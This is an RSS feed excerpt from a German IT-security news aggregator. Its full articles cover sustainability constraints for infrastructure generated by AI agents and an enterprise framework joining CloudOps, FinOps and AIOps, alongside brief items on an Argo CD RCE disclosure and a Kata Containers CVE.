<description><![CDATA[Synacktiv has discovered an unauthenticated arbitrary code execution vulnerability in ArgoCD's repo-server component, potentially allowing full cluster compromise. This article explains how the vulnerability was identified using CodeQL, details the exploitation process to gain control over the un...]]></description>
<link>https://tsecurity.de/de/3638841/it-security-nachrichten/caught-in-the-octopus-trap-unauthenticated-rce-in-argo-cd-with-codeql/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3638841/it-security-nachrichten/caught-in-the-octopus-trap-unauthenticated-rce-in-argo-cd-with-codeql/</guid>
<pubDate>Wed, 01 Jul 2026 16:37:56 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Synacktiv has discovered an unauthenticated arbitrary code execution vulnerability in ArgoCD's repo-server component, potentially allowing full cluster compromise. This article explains how the vulnerability was identified using CodeQL, details the exploitation process to gain control over the underlying Kubernetes cluster, and introduces a tool for automating the attack.]]></content:encoded>
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<title><![CDATA[Preventing agent-generated infrastructure bloat through spec-driven governance]]></title>
<description><![CDATA[Autonomous AI engineer agents can deliver software at a scale in multiples of what a human engineering team can do, and that productivity is genuinely valuable. But without proper guardrails at the specification level, these agents can industrialise inefficient infrastructure patterns at the same...]]></description>
<link>https://tsecurity.de/de/3637960/ai-nachrichten/preventing-agent-generated-infrastructure-bloat-through-spec-driven-governance/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3637960/ai-nachrichten/preventing-agent-generated-infrastructure-bloat-through-spec-driven-governance/</guid>
<pubDate>Wed, 01 Jul 2026 11:19:17 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p>Autonomous AI engineer agents can deliver software at a scale in multiples of what a human engineering team can do, and that productivity is genuinely valuable. But without proper guardrails at the specification level, these agents can industrialise inefficient infrastructure patterns at the same pace, consistently and at a scale that makes post-deploy remediation impractical. When an agent provisions a three-node GKE cluster using n2-standard-16 machines for a workload a single e2-medium node could handle, or generates a Kubernetes pod spec with 4-CPU and 8GB memory requests for a service that peaks at 200 milli-cores and 256MB, or writes a Dockerfile that pulls a full Ubuntu base image where a distro-less container would serve, infrastructure runs that decision continuously, for the lifetime of the service. The agent will reproduce these patterns across every environment it touches, because the specification never instructed it otherwise. When agentic pipelines are generating infrastructure at scale, operational remediation after the fact becomes impractical.</p>



<p>The scale of what is now being generated autonomously is significant. <a href="https://www.infoworld.com/article/3999607/how-to-succeed-or-fail-with-ai-driven-development.html">InfoWorld’s reporting on AI-driven development</a> shows the pace of AI-generated output is accelerating sharply, and <a href="https://www.infoworld.com/article/3993479/what-we-know-now-about-generative-ai-for-software-development.html">projections suggest more than a quarter of new production code and configuration is already AI-generated</a>. What those projections do not yet capture is the shift from AI-assisted to fully agentic pipelines, where agents generate Terraform, Kubernetes manifests, Helm charts and Docker configurations end-to-end, commit them and trigger deployment, with no human in the loop or little oversight that concentrates on functional capabilities. When that pipeline runs without sustainability constraints, it systematically reproduces that infrastructure inefficiency across every environment it touches.</p>



<p>Green software has traditionally been an operational problem: Right-size the containers retrospectively, tune the cluster after the fact, schedule workloads in low-carbon windows. That approach was already struggling before agentic pipelines arrived. <a href="https://www.gartner.com/en/newsroom/press-releases/2024-05-16-gartner-identifies-the-top-five-strategic-technology-trends-in-software-engineering-for-2024">Gartner projects</a> that by 2027, just 30% of large enterprises will have software sustainability embedded in their non-functional requirements. That statistic carries a consequence most engineering leaders have not yet confronted: If 70% of enterprise code has been written without sustainability intent, then the training data autonomous AI engineer agents learned from is dominated by potentially unsustainable patterns. An agent defaults to the majority pattern in its training distribution, which is the inefficient one. This makes the specification constraint not just a governance need, but a corrective instruction that the agent’s training data never provided.</p>



<h2 class="wp-block-heading">Sustainable specification as a reliable intervention point</h2>



<p>In a fully agentic development pipeline, the specification is not a document an engineer reads before writing code. It is the instruction set the agent executes. It determines which machine types get provisioned, which container base images get selected, how pod resource requests are sized, how storage is allocated and how networking is configured. Every infrastructure decision the agent makes downstream is a function of what the specification permitted or left undefined.</p>



<p>If the specification contains no sustainability constraints, the agent will make infrastructure decisions based on defaults, conventions and training data patterns, none of which are optimised for energy efficiency. An agent prompted to scaffold a GKE-based microservice will, by default, select machine types that ensure availability headroom rather than efficiency. It will size pod resource requests conservatively to avoid out-of-memory conditions from potentially inefficient application code, but not to minimise node utilization. It will pull familiar base images rather than minimal ones. These are not failures of the agent. They are the predictable output of an instruction set that never asked for sustainability.</p>



<p>The fix is to make sustainability a first-class constraint in the specification itself. A constraint such as GS-INFRA-001 (select the smallest GKE machine type that satisfies the workload’s measured resource ceiling, defaulting to e2-medium or smaller) or GS-K8S-001 (set pod CPU requests to measured p95 consumption with a 20% ceiling, not to arbitrary safe values) is a structured policy the agent reads before it generates a single line of Terraform or YAML. The agent does not override it. It executes it. That is the mechanism that makes sustainability structural and automated rather than aspirational.</p>



<h2 class="wp-block-heading">The infrastructure patterns that matter most</h2>



<p>Three infrastructure domains represent the highest-impact targets for sustainability constraints, precisely because autonomous AI engineer agents generate them prolifically and the consequences compound continuously at runtime rather than only when code executes.</p>



<p>The first is IaC and cloud resource provisioning. An agent generating a Terraform configuration for a GKE cluster defaults to instance families and node counts calibrated for resilience, not efficiency. A three-node cluster of n2-standard-16 machines (64 vCPUs, 192GB RAM) provisioned for a service that runs comfortably on a single e2-medium (2 vCPUs, 4GB RAM) represents a 32x over-provisioning of compute. That gap does not show up in staging. It runs in production, is billed continuously, emitting continuously. A sustainability constraint in the Terraform specification that enforces machine type selection against a measured workload profile eliminates this class of error before the agent writes its first resource block.</p>



<p>The second is the Kubernetes pod resource configuration. Pod resource requests are the input the Kubernetes scheduler uses to place workloads on nodes. When an autonomous AI engineer agent generates a pod spec with generous CPU and memory requests, the scheduler reserves that capacity whether the pod uses it or not. Nodes that could host eight efficiently-sized pods instead host two or three over-specified ones, leaving the remaining capacity stranded and the underlying VM running at low utilization. A pod spec with a 4-CPU, 8GB memory request for a service that observably consumes 200 millicores and 256MB at peak is not cautious engineering. It is a scheduler instruction to waste three and a half CPUs and 7.75GB of memory per pod, per node, per hour, across every replica in every environment. A sustainability constraint specifying that pod resource requests must be derived from measured p95 consumption data, not from defaults or intuition, changes this systematically.</p>



<p>The third is the container base image selection. When an agent generates a Dockerfile, it gravitates toward familiar, full-featured base images: Ubuntu, Debian, Python, Node.js. These images are large, carry a significant attack surface and consume more storage, memory and transfer bandwidth than their minimal equivalents. A distroless or Alpine-based image for the same workload can be an order of magnitude smaller. At the scale at which an autonomous AI engineer agent operates, pulling, storing and running bloated base images across hundreds of services is a significant and entirely avoidable infrastructure cost. A constraint specifying distroless or minimal base images as the default, with justification required for exceptions, eliminates the pattern without slowing generation.</p>



<h2 class="wp-block-heading">4 pipeline stages where constraints are enforced</h2>



<p>Embedding constraints in the specification is the intervention. Enforcing them through the pipeline is what makes the intervention reliable. Four stages create the enforcement architecture.</p>



<p>The first stage is generation itself. When sustainability constraints are part of the specification the autonomous AI engineer agent operates from, those constraints shape every artifact the agent produces: Terraform resource blocks, Kubernetes manifests, Helm chart defaults, Dockerfile base image selections. The agent does not reason about sustainability independently. It executes the specification. A well-constrained specification produces sustainable infrastructure by construction, not by review.</p>



<p>The second stage is static analysis. Tools including Checkov, tfsec, KICS and Trivy analyze Terraform, Kubernetes YAML and Dockerfiles against configurable policy rules without modifying the agent or the pipeline architecture. A Checkov policy enforcing the GKE machine type constraint, or a tfsec rule flagging over-provisioned node pools, runs against every artifact the agent generates before it reaches a deployment gate. The violation surfaces as structured CI output the gate acts on. The agent’s output is checked the same way a human engineer’s output would be, consistently, at every commit.</p>



<p>The third stage is the quality gate. Sustainability violations fail the build. They do not generate warnings that an agent pipeline has no mechanism to act on. A gate that blocks deployment on policy violations is the enforcement layer that makes constraints binding rather than advisory. Because the gate operates on artifact output rather than on the agent itself, it is fully autonomous AI engineer agent-agnostic: It does not matter whether the Terraform was generated by Copilot, a custom LLM pipeline, an internal scaffolding agent or a human engineer. The gate evaluates the artifact against the policy. That is the only thing that matters.</p>



<p>The fourth stage is runtime telemetry feeding back into constraint refinement. Actual resource utilization, node efficiency metrics and carbon intensity data from production inform constraint updates at the specification level. A constraint calibrated on design-time estimates tightens over time as empirical data replaces assumptions. The governance model improves continuously rather than stagnating at its initial calibration.</p>



<h2 class="wp-block-heading">3 steps to start this week</h2>



<p>Most engineering organizations already have everything they need to begin. The static analysis toolchain is there: Checkov, tfsec, KICS, Trivy and OPA Conftest all support configurable sustainability policies against Terraform, Kubernetes YAML and Dockerfile artifacts without pipeline replacement. The CI/CD pipeline is there: GitHub Actions, GitLab CI, Jenkins, Tekton and Azure DevOps Pipelines all support blocking quality gates against policy tool outputs. The specification layer is there: Terraform modules, Helm chart value schemas, Kubernetes admission controllers and architectural decision records are already version-controlled in most mature engineering organizations. And critically, this approach is a fully autonomous AI engineer agent-agnostic. The governance layer does not inspect which agent or model generated the infrastructure artifact. It enforces the policy against the output. Whether the Terraform came from a custom agentic pipeline, a Copilot suggestion or a human engineer, the gate applies identically. The only things genuinely missing are the sustainability constraint definitions authored into the specification and the policy rules wired into the CI/CD pipeline to enforce them. Three steps close that gap.</p>



<ol class="wp-block-list">
<li><strong>Audit your IaC specifications for sustainability constraints.</strong> Open an active Terraform module or Helm chart and locate the machine type defaults, pod resource request defaults and base image defaults. For most organizations, these are set to safe, familiar values with no sustainability rationale. Define three constraints: A maximum machine type ceiling for each workload tier, a pod resource request ceiling derived from measured utilization, and a base image policy requiring distro-less or Alpine equivalents. Version control these constraints alongside the specifications they govern.</li>



<li><strong>Add one Checkov or tfsec policy to your CI pipeline.</strong> A policy flagging GKE node pools configured above the e2-standard-4 threshold without a documented justification is implementable in under an hour using Checkov’s custom check API. Wire it as a blocking gate, not a warning. This single addition creates immediate, agent-agnostic enforcement across every Terraform commit in your repository.</li>



<li><strong>Embed sustainability constraints before you scale your agentic pipelines.</strong> The highest-leverage moment is now, before autonomous AI engineer agents are generating infrastructure at full organizational scale. Every agentic pipeline that goes into production without sustainability constraints in its specification becomes a systematic source of over-provisioned, carbon-intensive infrastructure that compounds daily. Retrofitting governance after hundreds of agent-generated services are running is an order of magnitude harder than constraining generation at the specification source.</li>
</ol>



<h2 class="wp-block-heading">What lies ahead</h2>



<p>The sustainability challenge discussed here is not the energy consumed by the AI engineer agent itself, but the long-lived infrastructure decisions encoded into the artifacts it generates. Sustainable infrastructure engineering is no longer an operational discipline. It is an architectural necessity, and the specification layer is where that necessity must be addressed. When autonomous AI engineer agents are generating Terraform, Kubernetes manifests and Docker configurations at scale, the organizations that embed sustainability constraints into the specifications those agents execute will build efficient, cost-controlled, regulation-ready infrastructure by construction. Those that do not will build a remediation programme instead, which at scale will become impractical.</p>



<p>The urgency is not speculative. <a href="https://spectrum.ieee.org/green-software/particle-2">IEEE Spectrum reports</a> that Microsoft’s emissions have risen 23% since its 2020 baseline and Google’s have climbed 51% since 2019, with AI infrastructure as the primary driver. <a href="https://spectrum.ieee.org/firms-bet-climate-tech">Global data centres are on track to consume more electricity than Japan by 2030.</a> A significant fraction of that load is over-provisioned infrastructure that an autonomous AI engineer agent generated from a specification that never asked for efficiency. The constraint cost is low. The compounding cost of the alternative is not.</p>



<p>The governance imperative is converging from three directions simultaneously. Cloud cost: Over-provisioned AI-generated infrastructure compounds spend at a rate that makes early specification-layer control orders of magnitude cheaper than post-deployment rightsizing programmes. Technical debt: Every agentic sprint that ships infrastructure without sustainability constraints adds configuration debt that grows faster than any platform team can retrospectively correct. Regulatory pressure: Sustainability reporting requirements, already mandatory in the EU and accelerating in other jurisdictions, will reach infrastructure efficiency metrics. Engineering organizations that have operationalised sustainability governance at the specification layer will meet those requirements as a natural output of their existing pipeline. Those who have not will discover that compliance is a crisis programme when the deadline arrives. These are not abstract architectural concerns. The organizations that govern agentic generation upstream, at the specification, will compound efficiency gains with every agent run, not just sustainability but cost, too. Those who govern only in production will spend a lot of time remediating what they should have prevented before the first line of Terraform was written.</p>



<p><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><strong><a href="https://www.cio.com/expert-contributor-network/">Want </a><a href="https://www.infoworld.com/expert-contributor-network/">to</a><a href="https://www.cio.com/expert-contributor-network/"> join?</a></strong></p>
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<title><![CDATA[A framework for operational autonomy: Integrating CloudOps, FinOps and AIOps]]></title>
<description><![CDATA[Operational autonomy is quickly becoming one of the defining capabilities of a modern enterprise. As digital estates become more distributed, cloud environments more dynamic and AI consumption more expensive and less predictable, traditional operating models begin to show their limits. Teams can ...]]></description>
<link>https://tsecurity.de/de/3637916/it-security-nachrichten/a-framework-for-operational-autonomy-integrating-cloudops-finops-and-aiops/</link>
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<pubDate>Wed, 01 Jul 2026 11:06:18 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p>Operational autonomy is quickly becoming one of the defining capabilities of a modern enterprise. As digital estates become more distributed, cloud environments more dynamic and AI consumption more expensive and less predictable, traditional operating models begin to show their limits. Teams can no longer rely only on manual oversight, disconnected monitoring tools or periodic financial reviews to keep enterprise technology healthy and cost efficient. What is needed instead is a coordinated operating framework that brings together CloudOps, FinOps and AIOps, while also addressing the emerging discipline of AI token and model consumption governance. When these disciplines are designed as one connected system rather than as isolated workstreams, organizations move closer to operational excellence: faster decisions, better resilience, improved financial control, stronger compliance and a more measurable connection between technology investments and business outcomes.</p>



<h2 class="wp-block-heading">What operational autonomy means in enterprise IT</h2>



<p>Operational autonomy does not mean removing people from operations. In practice, it means designing enterprise IT so that routine sensing, decision support, remediation, optimization and policy enforcement happen with minimal friction and with the right human oversight at the right moments. A mature autonomous operating model continuously observes infrastructure, applications, data flows, AI services and financial consumption patterns; detects risk or inefficiency early; and triggers guided or automated action based on policy, confidence and business criticality. This approach depends on four connected pillars: CloudOps to maintain reliable and scalable digital infrastructure, FinOps to govern cost and value, AIOps to detect patterns and automate response, and AI consumption governance to manage token usage, model selection, inference workloads and unit economics.</p>



<p>Gartner’s 2024 <a href="https://www.gartner.com/en/documents/5703151" rel="nofollow">research</a> on FinOps for data and analytics emphasizes that cloud operations and financial governance are no longer separate concerns, especially as AI workloads reshape cost structures and accountability expectations. Forrester’s 2024 <a href="https://www.forrester.com/report/the-state-of-aiops-and-observability/RES180470" rel="nofollow">analysis</a> of AIOps and observability similarly notes that modern enterprises need deeper operational visibility and broader insight-driven coordination to handle hybrid complexity. IDC’s 2024 <a href="https://www.marketresearch.com/IDC-v2477/Future-Operations-Framework-38402860/" rel="nofollow">perspective</a> on future operations adds another useful lens by framing data-driven operations around agility, resilience and predictability. Taken together, these viewpoints reinforce the same idea: autonomy is not a tool purchase; it is a management framework.</p>



<h2 class="wp-block-heading">Design principles for an enterprise operational autonomy framework</h2>



<p>A practical framework begins with a few disciplined principles. First, the enterprise must build around a shared operational data layer. Telemetry from cloud infrastructure, applications, service management systems, security controls, business transactions and AI services should be normalized so that operations, finance and governance teams work from the same facts. Second, every automated action should be policy-aware. Cost optimization, scaling, failover, remediation, model routing, data retention and access control should all reflect business guardrails rather than isolated technical rules.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large is-resized"> width="1024" height="688" sizes="auto, (max-width: 1024px) 100vw, 1024px"&gt;<figcaption class="wp-element-caption">Figure: The four pillars of autonomous IT.</figcaption></figure><p class="imageCredit">Magesh Kasthuri</p></div>



<p>Third, the framework should be value-led rather than purely cost-led. FinOps has matured beyond simply lowering spend; the stronger objective is to align spend with business priorities, performance requirements and acceptable risk. Fourth, autonomy should progress in stages. Enterprises usually start with visibility, then introduce recommendations, then guided automation and finally closed-loop autonomy for low-risk scenarios. Fifth, executive accountability must be explicit. Operational autonomy touches architecture, finance, privacy, security, data stewardship and business strategy. Without a cross-functional ownership model, autonomy becomes fragmented and difficult to govern. Everest Group’s 2024 FinOps Cloud Cost Management <a href="https://www.everestgrp.com/report/egr-2024-29-r-6601/" rel="nofollow">assessment</a> highlights the growing demand for role-based access, cost intelligence, governance and automation as core requirements for enterprise cloud cost management products. That is a useful signal that the framework must be built for collaboration, not just analytics.</p>



<h2 class="wp-block-heading">Integrating CloudOps, FinOps and AIOps into one operating model</h2>



<p>CloudOps, FinOps and AIOps are often discussed separately because each emerged from a different operational problem. CloudOps grew out of the need to run cloud estates reliably and at scale. FinOps developed in response to unpredictable consumption-based billing. AIOps emerged because traditional monitoring could not keep pace with the volume and complexity of telemetry generated across modern digital systems. Yet in a mature enterprise, these disciplines converge naturally.</p>



<p>A performance incident in a cloud platform is rarely only an availability problem; it may also drive higher infrastructure consumption, trigger excess logging charges, degrade customer experience or increase token usage in AI-enabled workflows. Similarly, a cost spike may not be a finance issue alone; it may reveal inefficient architecture, poor scheduling, unnecessary data movement or an AI agent behaving outside policy.</p>



<p>An integrated operating model therefore links observability signals, service context, business KPIs, financial metrics and automation rules into one decision fabric. CloudOps provides the runtime discipline, FinOps introduces value and accountability, and AIOps adds pattern recognition and intelligent response. When connected well, the enterprise can answer not only what is happening, but why it is happening, what it is costing, what risk it creates and what the best next action should be.</p>



<h2 class="wp-block-heading">AI token optimization and AI cost spend governance</h2>



<p>AI introduces a new cost curve into enterprise operations. Unlike traditional software costs, token spend can vary sharply based on prompt design, model choice, context length, retrieval patterns, orchestration logic, concurrency, caching strategy and user behavior. This makes AI cost governance an essential part of operational autonomy. A strong framework begins by defining the unit economics of AI consumption: cost per request, cost per conversation, cost per business workflow, cost per user segment and cost per outcome.</p>



<p>Once these baselines are visible, the enterprise can introduce optimization controls such as prompt compression, response-length policies, semantic caching, model tiering, workload routing to lower-cost models where quality tolerance allows, context-window discipline, batch processing for non-real-time use cases and approval thresholds for premium model usage. AI gateways and model brokers can enforce these policies consistently across teams.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large is-resized"> width="1024" height="709" sizes="auto, (max-width: 1024px) 100vw, 1024px"&gt;<figcaption class="wp-element-caption">Figure 2: AI FinOps framework</figcaption></figure><p class="imageCredit">Magesh Kasthuri</p></div>



<p>Chargeback or showback mechanisms should also extend to AI services so that business units see both value and consumption behavior. Recent <a href="https://www.forbes.com/councils/forbesfinancecouncil/2026/05/27/a-cfos-five-layer-framework-to-govern-ai-token-spend-before-it-governs-you/" rel="nofollow">analysis</a> in Forbes has drawn attention to the financial risks of unmanaged token growth and argues for governance layers that connect finance and engineering before AI expenditure becomes opaque. FinOps Foundation guidance on FinOps for AI reinforces the same message, noting that token-level metrics, quotas, tagging, GPU allocation practices and real-time monitoring are necessary to keep AI costs aligned to business value. In enterprise settings, the lesson is straightforward: if cloud cost needed FinOps, AI cost needs an even tighter form of FinOps because usage can scale much faster and become far less transparent as mentioned in IDC <a href="https://my.idc.com/getdoc.jsp?containerId=US53688325" rel="nofollow">report</a>.</p>



<h2 class="wp-block-heading">FinOps for cloud infrastructure cost management</h2>



<p>Cloud infrastructure cost management remains one of the foundational layers of operational autonomy because every autonomous workflow eventually rests on compute, storage, networking, platform services and data transfer. An effective FinOps capability does more than flag overspend after the month has ended. It creates near-real-time visibility into consumption, ownership, unit economics, forecast variance, commitments and waste patterns.</p>



<p>The enterprise should define standard practices for tagging, cost allocation, commitment management, rightsizing, idle resource detection, storage tiering, Kubernetes cost visibility, environment lifecycle controls and architecture reviews for high-cost services. More importantly, these practices should be tied to business context. For example, a workload serving a mission-critical customer channel may justify higher spend if it supports revenue protection, whereas a non-production environment should have stricter shutdown and spend caps.</p>



<p>Gartner’s 2024 <a href="https://www.gartner.com/en/documents/5703151" rel="nofollow">research</a> on FinOps for data and analytics underscores that AI and data workloads are changing the financial profile of cloud operations and increasing the need for more sophisticated tooling and governance. IDC’s market <a href="https://www.intel.com/content/dam/www/central-libraries/us/en/documents/2024-03/idc-ai-strategy-in-2024-growth-roi-security-brief.pdf" rel="nofollow">perspective</a> on intelligent cloud and edge operations with FinOps software also points to the rapid growth of platforms that combine operations intelligence with financial control, suggesting that enterprises increasingly view operational management and cost management as linked disciplines rather than separate layers.</p>



<h2 class="wp-block-heading">Autonomous operations through AIOps</h2>



<p>AIOps gives the framework its intelligence and response speed. In most enterprises, operations data is noisy, fragmented and too voluminous for humans to interpret quickly during incidents or performance degradation. AIOps platforms reduce that burden by correlating events, identifying anomalies, clustering symptoms, surfacing probable root causes and recommending or initiating remediation actions. The best outcomes appear when AIOps is connected not only to infrastructure monitoring but also to service maps, change records, configuration data, incident workflows and business priorities.</p>



<p>That connection allows the enterprise to distinguish between a harmless signal fluctuation and an issue that threatens a critical business service. Forrester’s 2024 <a href="https://www.forrester.com/report/the-state-of-aiops-and-observability/RES180470" rel="nofollow">research</a> on AIOps and observability explains this well by describing the complementary value of breadth and depth: observability provides richer technical insight, while AIOps helps transform those signals into operational action. In practice, autonomy grows when low-risk responses such as service restarts, resource adjustments, ticket enrichment, dependency checks or rollback decisions are automated under policy. High-risk actions should remain human-approved until confidence improves. Over time, the enterprise can move from reactive incident management to predictive operations, where emerging capacity risk, recurring error patterns or unusual AI workload behavior are addressed before service impact is visible to users.</p>



<h2 class="wp-block-heading">How the framework leads to operational excellence</h2>



<p>Operational excellence is the cumulative result of better decisions made earlier, faster and with clearer accountability. A well-designed autonomy framework improves service reliability because systems are observed continuously and remediation can be triggered before failures spread. It improves cost discipline because consumption anomalies are identified at the same time as performance or usage anomalies, not weeks later in a billing report.</p>



<p>It improves strategic focus because technology leaders can evaluate trade-offs in terms of business value rather than technical activity alone. It also improves employee productivity by removing repetitive operational effort and shifting skilled staff toward engineering improvements, policy tuning and service innovation. The most important outcome, however, is predictability. Enterprises become more confident in how they scale AI services, how they control cloud spend, how they handle operational events and how they meet compliance obligations. That confidence is what separates routine automation from genuine operational autonomy.</p>



<h2 class="wp-block-heading">Security, governance, process implementation and people upskilling</h2>



<p>No autonomy framework survives without strong security and governance. Automated operations amplify both efficiency and risk, which means identity controls, segmentation, least-privilege access, secrets management, encryption and auditability have to be embedded from the start. AI services add further concerns: prompt leakage, data residency, model misuse, training-data exposure, shadow AI adoption and uncontrolled access to external models.</p>



<p>Governance therefore needs to extend across cloud resources, operational workflows, AI services and data assets. Enterprises should establish clear policy domains covering infrastructure provisioning, AI model approval, token limits, vendor usage, observability data handling, retention rules, access reviews and exception management. Process implementation is equally important. The framework should define standard operating patterns for incident triage, automated remediation approval, cost anomaly review, model lifecycle management and post-incident learning. None of this works unless people are prepared for the shift.</p>



<p>Operations teams need skills in cloud economics, observability, automation engineering and policy-driven operations. Finance teams need to understand cloud and AI consumption models. Security and privacy teams need fluency in AI risk scenarios and control design. Business leaders need a clearer grasp of unit economics and value realization. IDC’s 2024 <a href="https://www.intel.com/content/dam/www/central-libraries/us/en/documents/2024-03/idc-ai-strategy-in-2024-growth-roi-security-brief.pdf" rel="nofollow">briefing</a> on enterprise AI strategy highlights the tension between rapid AI investment, ROI pressure, staffing constraints, security and compliance. That is exactly why upskilling must be treated as part of the framework itself, not as an optional change-management activity as per FinOps Foundation <a href="https://www.finops.org/wg/finops-for-ai-overview/" rel="nofollow">documentation</a>.</p>



<h2 class="wp-block-heading">The role of regulatory compliance</h2>



<p>Regulatory compliance is not a side topic in operational autonomy; it is one of the main reasons the framework must be formalized. Cloud environments frequently span jurisdictions, AI systems process sensitive information, observability platforms collect detailed operational data and automated decisions may influence customer experience or internal controls. Regulations such as GDPR, DPDP, sector-specific cybersecurity directives, financial reporting obligations, contractual data-handling requirements and internal audit standards all shape what autonomy can and cannot do.</p>



<p>Compliance requirements should therefore be translated into operational policy. Examples include residency-aware workload placement, data minimization in logs and prompts, access segregation for financial and regulated data, explainable automated actions, evidence retention, periodic control attestations and approval workflows for AI usage involving personal or confidential information. Chief privacy and data leaders play a central role here because the compliance question is no longer just where data is stored, but also how data is observed, transformed and consumed by AI-driven services. A mature framework reduces compliance risk by making control enforcement systematic rather than dependent on manual effort.</p>



<h2 class="wp-block-heading">How to implement the framework in practice</h2>



<p>Implementation is usually most successful when handled in phases. The first phase is baseline visibility: consolidate telemetry, cloud billing data, service inventory, AI usage data and business ownership into one operational picture. The second phase is governance design: define policies for tagging, spend thresholds, automation boundaries, access controls, model usage and compliance checkpoints.</p>



<p>The third phase is prioritization: choose a small number of use cases where autonomy can produce measurable value, such as cloud rightsizing, incident correlation, cost anomaly detection, AI token governance or automated remediation for recurring low-risk faults. The fourth phase is automation with guardrails: deploy workflows, approval rules and rollback paths. The fifth phase is optimization and learning: review outcomes, refine policies, update unit economics, expand autonomy coverage and measure business impact.</p>



<p>This staged approach matters because full autonomy is not achieved by switching on one platform. It is built progressively through trusted control, good data and disciplined execution.</p>



<h2 class="wp-block-heading">Useful tools for building the framework</h2>



<p>The tool landscape should be chosen based on architecture, governance maturity and operating model rather than vendor popularity alone. Cloud-native cost and operations tools from hyperscalers provide baseline visibility, but many enterprises supplement them with specialized FinOps platforms for allocation, forecasting, commitment analysis and chargeback. Observability platforms help unify metrics, logs, traces and service maps, while AIOps platforms add anomaly detection, event correlation and automation orchestration.</p>



<p>Service management platforms remain important for change control, incident workflows and audit evidence. AI gateways and model management layers are increasingly useful for token monitoring, policy enforcement, prompt controls, model routing and usage analytics. Security posture management, DSPM, identity governance and compliance automation tools also become part of the architecture because autonomy without trust quickly becomes fragile. The most effective toolchains are the ones that integrate technical telemetry, financial signals, governance policy and workflow automation into a coherent operating system for the enterprise.</p>



<h2 class="wp-block-heading">Executive roles in developing and managing the framework</h2>



<p>Here is a table that summarizes various Executive Roles and their responsibilities in Operational Autonomy governance.</p>



<figure class="wp-block-table"><div class="overflow-table-wrapper"><table class="has-fixed-layout"><tbody><tr><td><strong>Executive Role</strong></td><td><strong>Primary Responsibility in the Framework</strong></td><td><strong>Key Decisions and Governance Focus</strong></td></tr><tr><td>CIO</td><td>Owns the enterprise operating model and ensures CloudOps, FinOps and AIOps are aligned to business service outcomes.</td><td>Sets operating priorities, funds enabling platforms, establishes accountability, sponsors service reliability and cost transparency programs, and chairs cross-functional governance.</td></tr><tr><td>CTO</td><td>Defines the target architecture for autonomy, including cloud platforms, observability, automation, AI services and integration patterns.</td><td>Approves technical standards, automation design principles, platform engineering choices, model architecture strategy and engineering guardrails for scale and resilience.</td></tr><tr><td>Chief Privacy Officer</td><td>Ensures that data use in observability, automation and AI operations complies with privacy law and internal policy.</td><td>Defines controls for personal data handling, retention, consent boundaries, cross-border transfer considerations, prompt and log privacy, and privacy impact assessments.</td></tr><tr><td>Chief Data Officer</td><td>Leads data governance, data quality, metadata management and trustworthy access to the shared operational data layer.</td><td>Defines data classification, stewardship, lineage expectations, AI data usage standards and interoperability rules required for accurate autonomous decision-making.</td></tr><tr><td>Chief Strategy Officer</td><td>Connects the autonomy framework to enterprise transformation goals, investment priorities and measurable business value.</td><td>Shapes business case design, prioritizes value pools, aligns the framework with growth and efficiency strategy, and ensures operating metrics support executive decision-making.</td></tr></tbody></table> </div></figure>



<h2 class="wp-block-heading">Conclusion</h2>



<p>Developing operational autonomy for an enterprise is not about chasing a futuristic ideal. It is about building a disciplined and connected operating model that helps the organization run technology with greater confidence, speed and accountability. CloudOps keeps the estate reliable, FinOps ensures that spending reflects value, AIOps makes complexity manageable and AI cost governance brings much-needed control to token-driven consumption. Security, privacy, compliance, process rigor and people capability are what make the framework sustainable. When all of these parts work together, the enterprise does not just automate tasks; it strengthens resilience, improves financial stewardship and creates a more adaptive path to operational excellence.</p>



<p><em>This article was made possible by our partnership with the IASA </em><a href="https://chiefarchitectforum.org/" target="_blank" rel="nofollow"><em>Chief Architect Forum</em></a><em>. The CAF’s purpose is to test, challenge and support the art and science of Business Technology Architecture and its evolution over time as well as grow the influence and leadership of chief architects both inside and outside the profession. The CAF is a leadership community of the </em><a href="https://iasaglobal.org/" target="_blank" rel="nofollow"><em>IASA</em></a><em>, the leading non-profit professional association for business technology architects.</em></p>



<p><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><strong><a href="https://www.cio.com/expert-contributor-network/">Want to join?</a></strong></p>
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<title><![CDATA[CVE-2026-24834 | kata-containers Kata Containers up to 3.26.x permission assignment]]></title>
<description><![CDATA[A vulnerability identified as critical has been detected in kata-containers Kata Containers up to 3.26.x. Affected by this vulnerability is an unknown functionality. Performing a manipulation results in incorrect permission assignment.

This vulnerability is cataloged as CVE-2026-24834. The attac...]]></description>
<link>https://tsecurity.de/de/3637244/sicherheitsluecken/cve-2026-24834-kata-containers-kata-containers-up-to-326x-permission-assignment/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3637244/sicherheitsluecken/cve-2026-24834-kata-containers-kata-containers-up-to-326x-permission-assignment/</guid>
<pubDate>Wed, 01 Jul 2026 04:08:54 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability identified as <a href="https://vuldb.com/kb/risk">critical</a> has been detected in <a href="https://vuldb.com/product/kata-containers:kata_containers">kata-containers Kata Containers up to 3.26.x</a>. Affected by this vulnerability is an unknown functionality. Performing a manipulation results in incorrect permission assignment.

This vulnerability is cataloged as <a href="https://vuldb.com/cve/CVE-2026-24834">CVE-2026-24834</a>. The attack must be initiated from a local position. There is no exploit available.

You should upgrade the affected component.]]></content:encoded>
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<title><![CDATA[reflector: bridge mDNS/SSDP/Wake-on-LAN across VLANs, including the DIAL proxy that makes casting work]]></title>
<description><![CDATA[Disclosure: I wrote this — open source, Apache-2.0. TL;DR: mDNS reflectors fix discovery across VLANs but not casting. reflector adds the SSDP + DIAL bits so Chromecast/AirPlay/YouTube/Netflix casting actually works between segments. Segmented networks (separate VLANs for IoT/guest/trusted) break...]]></description>
